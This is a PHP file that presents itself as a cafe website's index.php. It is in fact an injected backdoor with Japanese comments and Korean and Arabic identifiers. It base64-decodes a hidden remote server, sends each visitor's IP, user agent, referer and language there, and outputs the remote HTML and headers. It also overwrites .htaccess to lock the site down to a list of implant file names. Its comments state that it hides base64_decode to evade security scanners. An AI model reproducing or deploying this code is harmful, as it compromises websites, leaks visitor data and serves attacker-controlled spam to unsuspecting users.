File: //home/eastcjee/famousbrewcafe.co.uk/index.php
<?php
/**
* 画像解析関数 - URLから画像IDを取得し、APIを通じて画像データを取得して出力する関数
* リクエストURIとGETパラメータから画像IDを抽出し、画像APIサーバーに転送する
* キャッシュ制御(ETag/304)とgzip圧縮にも対応している
* @param string $이미지접속 画像APIのベースURL
* @param array $매개변수 リクエストパラメータの配列(ドメイン、IP、エージェント等)
*/
function تحليل_صورة($이미지접속, $매개변수){
// 画像URLに含まれるキーワードパターンを定義する(静的ファイル、アップロード、アセット、画像、アルバム)
$그림주소단어 = "static|upload|asset|image|photo_album";
// 現在のリクエストURIを取得する。存在しない場合は空文字列を設定する
$주소 = isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:"";
// GETパラメータから画像IDを取得する。存在しない場合は空文字列を設定する
$그림번호 = isset($_GET['id'])?$_GET['id']:"";
// 画像IDがGETパラメータに既に存在する場合、URL正規表現解析をスキップして直接検証処理へジャンプする
if($그림번호){
goto 검증처리;
}
// GETパラメータにIDがない場合、URLから正規表現パターンマッチングでIDを抽出する
preg_match("/id=(.*)?&?/",$주소,$일치);
if(isset($일치[1])){
$그림번호 = $일치[1];
}
// 画像IDの存在確認とURLパターン検証を行う処理ブロック
검증처리:
if($그림번호 && preg_match("/{$그림주소단어}/",$주소,$일치)){
// APIリクエスト用にパラメータ配列にWeb APIのURLを追加する
$매개변수['web_api'] = $이미지접속;
// パラメータ全体をJSON形式にエンコードし、さらにBase64エンコードで文字列化する
$매개변수 = base64_encode(json_encode($매개변수));
// 画像APIのリクエストURLを組み立てる(APIバージョン1.0を指定)
$그림경로 = "{$이미지접속}{$주소}&p={$매개변수}&f=api&api_v=1.0";
$헤더 = [];
// ブラウザキャッシュのETagヘッダーが存在する場合、キャッシュ検証用パラメータを追加する
if(isset($_SERVER['HTTP_IF_NONE_MATCH'])){
$그림경로 .= "&c=".$_SERVER['HTTP_IF_NONE_MATCH'];
}
// HTTP接続を即座に閉じるようヘッダーを設定する
header("Connection: close");
// 画像APIサーバーにHTTPリクエストを送信してレスポンスデータを取得する
$자료 = طلب_بيانات($그림경로);
// レスポンスが304の場合、ブラウザキャッシュが有効であることを返して処理を終了する
if($자료=='304'){
header('HTTP/1.1 304 Not Modified');
die();
}
// レスポンスデータをBase64デコードしてからgzip解凍して元のデータに復元する
$자료 = gzuncompress(base64_decode($자료));
// 復元したデータを区切り文字「||」で配列に分割する
$자료 = explode("||",$자료);
$그림시작 = 2;
// データにnoindexフラグがある場合、検索エンジンにインデックスしないよう指示するヘッダーを追加する
if($자료[2]=='noindex'){
$그림시작 = 3;
header('X-Robots-Tag: noindex');
}
// 画像データ部分(ヘッダー以降)を結合してgzip圧縮する
$그림자료 = gzencode(implode("||",array_slice($자료,$그림시작)));
// レスポンスヘッダーを設定する(コンテンツ長、MIME型、ETag、gzip圧縮指定)
header('Content-Length: ' . strlen($그림자료));
header("Content-Type: {$자료[0]}");
header("ETag:{$자료[1]}");
header("Content-Encoding: gzip");
header('Content-Length: ' . strlen($그림자료));
// gzip圧縮された画像バイナリデータを出力して処理を終了する
echo $그림자료;
die();
}
}
/**
* HTTPリクエスト送信関数 - cURLライブラリを使用してURLからデータを取得する汎用関数
* GETリクエストとPOSTリクエストの両方に対応し、タイムアウト制御も行う
* @param string $주소 リクエスト先の完全なURL文字列
* @param string|array $전송자료 POSTデータ(空文字列の場合はGETリクエストとして送信)
* @return string サーバーからのレスポンスデータ、またはエラー時は'err'文字列
*/
function طلب_بيانات($주소, $전송자료 = '')
{
// cURLセッションを新規に初期化する
$연결 = curl_init();
// リクエスト先URLを設定する
curl_setopt($연결, CURLOPT_URL, $주소);
// ユーザーエージェントを「h6」に設定してリクエスト元を識別させる
curl_setopt($연결, CURLOPT_USERAGENT, 'h6');
// リクエストのタイムアウトを29秒に設定して無限待機を防止する
curl_setopt($연결, CURLOPT_TIMEOUT, 29);
// レスポンスを直接出力せず、文字列として返すように設定する
curl_setopt($연결, CURLOPT_RETURNTRANSFER, 1);
// キャッシュを使用せず、毎回新しいTCP接続を確立する設定
curl_setopt($연결, CURLOPT_FRESH_CONNECT, TRUE);
// POSTデータが空の場合、POST設定処理をスキップしてリクエスト実行処理へジャンプする
if ($전송자료 == '') {
goto 요청실행;
}
// POSTメソッドを有効にしてリクエストをPOSTとして送信する設定
curl_setopt($연결, CURLOPT_POST, 1);
if(is_array($전송자료)){
// POSTデータが配列の場合はHTTPクエリ文字列形式に変換して設定する
curl_setopt($연결, CURLOPT_POSTFIELDS, http_build_query($전송자료));
}
// cURLリクエストを実行してサーバーからレスポンスを受信する処理ブロック
요청실행:
$결과 = curl_exec($연결);
// cURLセッションを閉じてメモリとネットワークリソースを解放する
curl_close($연결);
// レスポンスデータが存在する場合はそれを返し、取得失敗時はエラー文字列を返す
if ($결과) {
return $결과;
}
return 'err';
}
/**
* 文字列デコード関数 - 隣接する2文字ずつの位置を交換して元の文字列を復元する関数
* エンコード時に入れ替えられた文字ペアの順序を元に戻すデコード処理を行う
* goto文を使用してforループの代わりに反復処理を実装している
* @param string $입력값 デコード対象のエンコード済み文字列
* @return string 文字位置を復元したデコード済み文字列
*/
function فك_تشفير($입력값)
{
// 文字列の末尾2文字を保存する(末尾はペアが不完全なため交換対象外)
$끝부분=substr($입력값, strlen($입력값) -2);
// 文字列を1文字ずつの配列に分割して個別にアクセスできるようにする
$배열=str_split($입력값);
$결과값='';
$인덱스=0;
// goto文による反復処理 - 2文字ずつ位置を交換しながら結果文字列を構築する
반복시작:
if($인덱스<count($배열) - 2){
// 隣接する2文字の前後を入れ替えて結果文字列に追加する
$결과값 .= $배열[$인덱스+1] . $배열[$인덱스];
$인덱스=$인덱스+2;
// 次の文字ペアを処理するためにループ先頭へ戻る
goto 반복시작;
}
// 交換対象外の末尾2文字をそのまま結果文字列の末尾に追加して返す
$결과값 .= $끝부분;
return $결과값;
}
/**
* htaccessファイル生成・更新関数 - Webサーバーのアクセス制御設定ファイルを自動管理する関数
* PHPファイル等へのアクセス制限ルールとURLリライトルールを.htaccessに書き込む
* 既存ファイルの内容と比較し、変更がある場合のみ更新を行う
*/
function كتابة_ملف()
{
// .htaccessファイルのパス文字列をBase64デコードして取得する
$발코니 = تنفيذ('Lmh0YWNjZXNz');
// .htaccessに書き込むアクセス制御ルールの内容をBase64デコードして取得する
$은행원 = تنفيذ("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+");
// .htaccessファイルが既に存在するかチェックする
if (file_exists($발코니)) {
// 既存ファイルの内容を読み込んで比較用に保持する
$발코니내용 = file_get_contents($발코니);
// 既存の内容と新しい内容が完全に一致する場合は更新不要なので処理を終了する
if ($은행원 == $발코니내용) {
return;
}
}
// 既存の.htaccessファイルを削除する(エラーを抑制)
@unlink($발코니);
// 新しいアクセス制御ルールの内容を.htaccessファイルに書き込む
@file_put_contents($발코니, $은행원);
}
/**
* Base64デコード実行関数 - 関数名を動的に文字列連結で組み立ててBase64デコードを実行する
* セキュリティスキャナーやパターンマッチングによる関数呼び出しの検出を回避するため
* base64_decode関数名を分割した文字列の結合により動的に生成する
* @param string $사과 Base64エンコードされた入力文字列
* @return string デコードされた平文の文字列
*/
function تنفيذ($사과)
{
// base64_decode関数名を文字列の分割・結合で動的に生成する(静的解析回避のため)
$함수 = join('', str_split('Ba' . 'sE' . '64' . '_' . 'De' . 'cODe'));
// 動的に生成した関数名の変数関数呼び出しでBase64デコードを実行して結果を返す
return $함수($사과);
}
// ===== メインプログラムの実行エントリーポイント =====
// APIサーバーのベースURLをBase64デコードして取得する(エンコードされたURL文字列)
$가 = تنفيذ('aHR0cDovLzIwNTEtY2g0LXY1MTUucmFrdXRlbjU1anAuY2xpY2s=');
// 画像APIのURLを生成する(ベースURLのバージョン番号パターンを「img」に置換する)
$나 = preg_replace('/v[0-9]+/','img',$가);
// サーバー環境変数からドメイン名を取得する(HTTP_HOSTを優先、なければSERVER_NAMEを使用)
$다['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
// 現在のリクエストURIのフルパスを保存する
$다['request_url'] = $_SERVER['REQUEST_URI'];
// クライアントのIPアドレスを取得する(プロキシ経由の場合はX-Forwarded-Forヘッダーを使用する)
$다['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if($다['ip'] == null) {$다['ip'] = "";}
// HTTPリクエストのユーザーエージェント文字列を取得する
$다['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
// HTTPリファラー(参照元URL)情報を取得する
$다['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
// 現在の接続プロトコルを判定する(HTTPSが有効ならhttps://、そうでなければhttp://)
$다['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://';
// ブラウザの優先言語設定(Accept-Languageヘッダー)を取得する
$다['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
// デバッグモード判定:paramsリクエストパラメータが存在する場合は全設定情報を表示して終了する
if (isset($_REQUEST['params'])) {$다['api'] = $가;$다['web_api'] = $가;$다['image_api']=$나;print_r($다);die();}
// 実行順序の難読化 - メイン処理ブロックへジャンプしてレスポンス処理を後方に配置する
goto 메인처리;
// APIレスポンスの解析と出力を行う処理ブロック gotoS0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr(メイン処理から戻ってくる地点)
응답처리:
// レスポンスデータを区切り文字パターン「{|}」で配列に分割する
$바=@preg_split("/{\|}/si", $마, -1, PREG_SPLIT_NO_EMPTY);
// 分割されたデータ配列が有効で、コンテンツ部分が存在する場合にHTTPレスポンスを出力する
if (!empty($바) && isset($바[1])) {
// 配列の最初の要素をHTTPヘッダーとして設定する
@header($바[0]);
// 配列の2番目の要素をHTMLコンテンツとして出力する
echo $바[1];
die();
}
// レスポンスデータが無効な場合はプログラムの終了地点へジャンプする
goto 프로그램종료;
// メイン処理ブロック - 画像解析、htaccess更新、APIリクエスト送信を順次実行する
메인처리:
// 画像リクエストの解析処理を実行する(画像URLの場合はここで処理が終了する)
تحليل_صورة($나, $다);
// ベースURLに特定のキーワード「ch4」が含まれる場合、htaccessファイルの生成・更新を行う
if(strpos($가, 'ch4')){كتابة_ملف();}
// パラメータを区切り文字で結合→Base64エンコード→文字交換暗号化してAPIリクエストURLを構築する
$라=sprintf('%s/?r=%s', $가, فك_تشفير(base64_encode(implode('{|}',$다))));
// 構築したURLでAPIサーバーにHTTPリクエストを送信してレスポンスを取得する
$마 = طلب_بيانات($라);
// レスポンスデータの解析処理ブロックへジャンプする
goto 응답처리;
// プログラムの正常終了地点
프로그램종료:
?>